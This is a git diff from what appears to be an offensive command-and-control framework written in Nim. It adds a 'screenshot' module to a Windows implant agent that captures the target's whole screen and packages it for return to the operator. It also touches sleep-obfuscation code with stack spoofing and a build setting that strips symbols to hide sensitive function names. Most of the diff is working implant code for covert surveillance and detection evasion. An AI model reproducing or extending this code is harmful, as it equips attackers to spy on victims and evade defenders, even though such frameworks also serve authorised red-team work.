diff --git a/data/layout.ini b/data/layout.ini index bdb4c84..8ee121c 100644 --- a/data/layout.ini +++ b/data/layout.ini @@ -6,7 +6,7 @@ Collapsed=0 Pos=0,30 Size=2868,1665 Collapsed=0 -DockId=0x00000001,0 +DockId=0x00000003,0 [Window][Debug##Default] Pos=60,60 @@ -24,13 +24,36 @@ Size=1080,1629 Collapsed=0 [Window][Example: Console] -Pos=0,781 -Size=2868,914 +Pos=0,458 +Size=2868,1237 Collapsed=0 DockId=0x00000002,0 -[Docking][Data] -DockSpace ID=0x3674675E Window=0x538FB738 Pos=0,30 Size=2868,1665 Split=Y Selected=0x5E5F7166 - DockNode ID=0x00000001 Parent=0x3674675E SizeRef=2868,749 CentralNode=1 Selected=0x5E5F7166 - DockNode ID=0x00000002 Parent=0x3674675E SizeRef=2868,914 Selected=0x1BCA3180 +[Window][Example: Log] +Pos=1951,30 +Size=917,1103 +Collapsed=0 +DockId=0x00000004,0 + +[Window][DockSpace Demo] +Pos=0,0 +Size=2868,1695 +Collapsed=0 + +[Table][0x951FCC8A,6] +RefScale=24 +Column 0 Width=50 Sort=0v +Column 1 Width=74 +Column 2 Width=111 +Column 3 Width=118 +Column 4 Weight=1.0000 +Column 5 Width=-1 + +[Docking][Data] +DockSpace ID=0x3674675E Window=0x538FB738 Pos=0,30 Size=2868,1665 Split=Y Selected=0x5E5F7166 + DockNode ID=0x00000001 Parent=0x3674675E SizeRef=2868,426 Split=X Selected=0x5E5F7166 + DockNode ID=0x00000003 Parent=0x00000001 SizeRef=1949,833 CentralNode=1 Selected=0x5E5F7166 + DockNode ID=0x00000004 Parent=0x00000001 SizeRef=917,833 Selected=0x38CCB771 + DockNode ID=0x00000002 Parent=0x3674675E SizeRef=2868,1237 Selected=0x1BCA3180 +DockSpace ID=0xC0DFADC4 Window=0xD0388BC8 Pos=0,30 Size=2868,1665 CentralNode=1 diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim index e7dd6b3..edaf6d6 100644 --- a/src/agent/core/sleepmask.nim +++ b/src/agent/core/sleepmask.nim @@ -72,7 +72,7 @@ proc GetRandomThreadCtx(): CONTEXT = return ctx -# Ekko sleep obfuscation with stack spoofing +# Timer based sleep obfuscation with stack spoofing (Ekko/Zilean) proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofStack: bool = true) = echo fmt"[*] Using {$mode} for sleep obfuscation [Stack duplication: {$spoofStack}]." diff --git a/src/agent/main.nim b/src/agent/main.nim index 14f8238..c4ad871 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -69,6 +69,6 @@ proc main() = except CatchableError as err: echo "[-] ", err.msg - + when isMainModule: main() \ No newline at end of file diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index 2e56159..da96f87 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -2,6 +2,6 @@ -d:agent -d:release --opt:size ---passL:"-s" # Stip symbols, such as sensitive function names +--passL:"-s" # Strip symbols, such as sensitive function names -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/common/types.nim b/src/common/types.nim index 464e61f..fb9cf7b 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -47,6 +47,7 @@ type CMD_BOF = 12'u16 CMD_DOWNLOAD = 13'u16 CMD_UPLOAD = 14'u16 + CMD_SCREENSHOT = 15'u16 StatusType* = enum STATUS_COMPLETED = 0'u8 diff --git a/src/modules/manager.nim b/src/modules/manager.nim index 355393a..304ec3f 100644 --- a/src/modules/manager.nim +++ b/src/modules/manager.nim @@ -8,7 +8,8 @@ import filesystem, filetransfer, environment, - bof + bof, + screenshot type ModuleManager* = object @@ -30,6 +31,7 @@ proc loadModules*() = registerCommands(filetransfer.commands) registerCommands(environment.commands) registerCommands(bof.commands) + registerCommands(screenshot.commands) proc getCommandByType*(cmdType: CommandType): Command = return manager.commandsByType[cmdType] diff --git a/src/modules/screenshot.nim b/src/modules/screenshot.nim new file mode 100644 index 0000000..38ab213 --- /dev/null +++ b/src/modules/screenshot.nim @@ -0,0 +1,151 @@ +import ../common/[types, utils] + +# Define function prototype +proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult + +# Command definition (as seq[Command]) +let commands*: seq[Command] = @[ + Command( + name: protect("screenshot"), + commandType: CMD_SCREENSHOT, + description: protect("Take a screenshot of the target system."), + example: protect("screenshot"), + arguments: @[], + execute: executeScreenshot + ) +] + +# Implement execution functions +when defined(server): + proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult = nil + +when defined(agent): + + import winim/lean + import winim/inc/wingdi + import strutils, strformat, times + import ../agent/protocol/result + import ../common/[utils, serialize] + + proc takeScreenshot(): seq[byte] = + + var + screenshotLength: ULONG + screenshotBytes: PVOID + + bmpFileHeader: BITMAPFILEHEADER + bmpInfoHeader: BITMAPINFOHEADER + bmpInfo: BITMAPINFO + desktop: BITMAP + deviceCtx: HDC + memDeviceCtx: HDC + bmpSection: HBITMAP + gdiCurrent: HGDIOBJ + gdiObject: HGDIOBJ + resX: INT + resY: INT + bitsLength: ULONG + bitsBuffer: PVOID + + zeroMem(addr bmpFileHeader, sizeof(BITMAPFILEHEADER)) + zeroMem(addr bmpInfoHeader, sizeof(BITMAPINFOHEADER)) + zeroMem(addr bmpInfo, sizeof(BITMAPINFO)) + zeroMem(addr desktop, sizeof(BITMAP)) + + # Retrieve system resolution + resX = GetSystemMetrics(SM_XVIRTUALSCREEN) + resY = GetSystemMetrics(SM_YVIRTUALSCREEN) + + # Obtain handle to the device context for the entire screen + deviceCtx = GetDC(0) + if deviceCtx == 0: + raise newException(CatchableError, $GetLastError()) + defer: ReleaseDC(0, deviceCtx) + + # Fetch BITMAP structure using GetCurrentObject and GetObjectW + gdiCurrent = GetCurrentObject(deviceCtx, OBJ_BITMAP) + if gdiCurrent == 0: + raise newException(CatchableError, $GetLastError()) + defer: DeleteObject(gdiCurrent) + + if GetObjectW(gdiCurrent, ULONG(sizeof(BITMAP)), addr desktop) == 0: + raise newException(CatchableError, $GetLastError()) + + # Construct BMP headers + # Calculate amount of bits required to represent screenshot + bitsLength = ((( 24 * desktop.bmWidth + 31) and not 31) div 8) * desktop.bmHeight + + bmpFileHeader.bfType = 0x4D42 # Signature of the BMP file, "BM" + bmpFileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bmpFileHeader.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bitsLength + + bmpInfoHeader.biSize = ULONG(sizeof(BITMAPINFOHEADER)) + bmpInfoHeader.biBitCount = 24 # Color depth (same as defined in the formula above) + bmpInfoHeader.biCompression = BI_RGB # uncompressed RGB format + bmpInfoHeader.biPlanes = 1 # Number of color planes, always set to 1 + bmpInfoHeader.biWidth = desktop.bmWidth # Width of the bitmap image + bmpInfoHeader.biHeight = desktop.bmHeight # Height of the bitmap image + + # Size calculation and memory allocation + screenshotLength = bmpFileHeader.bfSize + screenshotBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotLength) + if screenshotBytes == NULL: + raise newException(CatchableError, $GetLastError()) + defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotBytes) + + # Assembly the bitmap image + memDeviceCtx = CreateCompatibleDC(deviceCtx) + if memDeviceCtx == 0: + raise newException(CatchableError, $GetLastError()) + defer: ReleaseDC(0, memDeviceCtx) + + # Initialize BITMAPINFO with prepared info header + bmpInfo.bmiHeader = bmpInfoHeader + + bmpSection = CreateDIBSection(deviceCtx, addr bmpInfo, DIB_RGB_COLORS, addr bitsBuffer, cast[HANDLE](NULL), 0) + if bmpSection == 0 or bitsBuffer == NULL: + raise newException(CatchableError, $GetLastError()) + + # Select the newly created bitmap into the memory device context + gdiObject = SelectObject(memDeviceCtx, bmpSection) + if gdiObject == 0: + raise newException(CatchableError, $GetLastError()) + defer: DeleteObject(gdiObject) + + # Copy the screen content from the source device context to the memory device context + if BitBlt( + memDeviceCtx, # Destination device context + 0, 0, # Destination coordinates + desktop.bmWidth, desktop.bmHeight, # Dimensions of the area to copy + deviceCtx, # Source device context + resX, resY, # Source coordinates + SRCCOPY # Copy source directly to destination + ) == 0: + raise newException(CatchableError, $GetLastError()) + + # Return the screenshot as a seq[byte] + result = newSeq[byte](screenshotLength) + copyMem(addr result[0], addr bmpFileHeader, sizeof(BITMAPFILEHEADER)) + copyMem(addr result[sizeof(BITMAPFILEHEADER)], addr bmpInfoHeader, sizeof(BITMAPINFOHEADER)) + copyMem(addr result[sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER)], bitsBuffer, bitsLength) + + proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult = + try: + + echo protect(" [>] Taking and uploading screenshot.") + + let + screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.bmp" + screenshotBytes: seq[byte] = takeScreenshot() + + var packer = Packer.init() + + packer.addDataWithLengthPrefix(string.toBytes(screenshotFilename)) + packer.addDataWithLengthPrefix(screenshotBytes) + + let data = packer.pack() + + return createTaskResult(task, STATUS_COMPLETED, RESULT_BINARY, data) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) diff --git a/src/server/core/task.nim b/src/server/core/task.nim index b718fb4..b9e4620 100644 --- a/src/server/core/task.nim +++ b/src/server/core/task.nim @@ -48,7 +48,7 @@ proc handleHelp(cq: Conquest, parsed: seq[string]) = cq.displayHelp() except ValueError: # Command was not found - cq.error("The command '{parsed[1]}' does not exist." & '\n') + cq.error(fmt"The command '{parsed[1]}' does not exist." & '\n') proc handleAgentCommand*(cq: Conquest, input: string) = # Return if no command (or just whitespace) is entered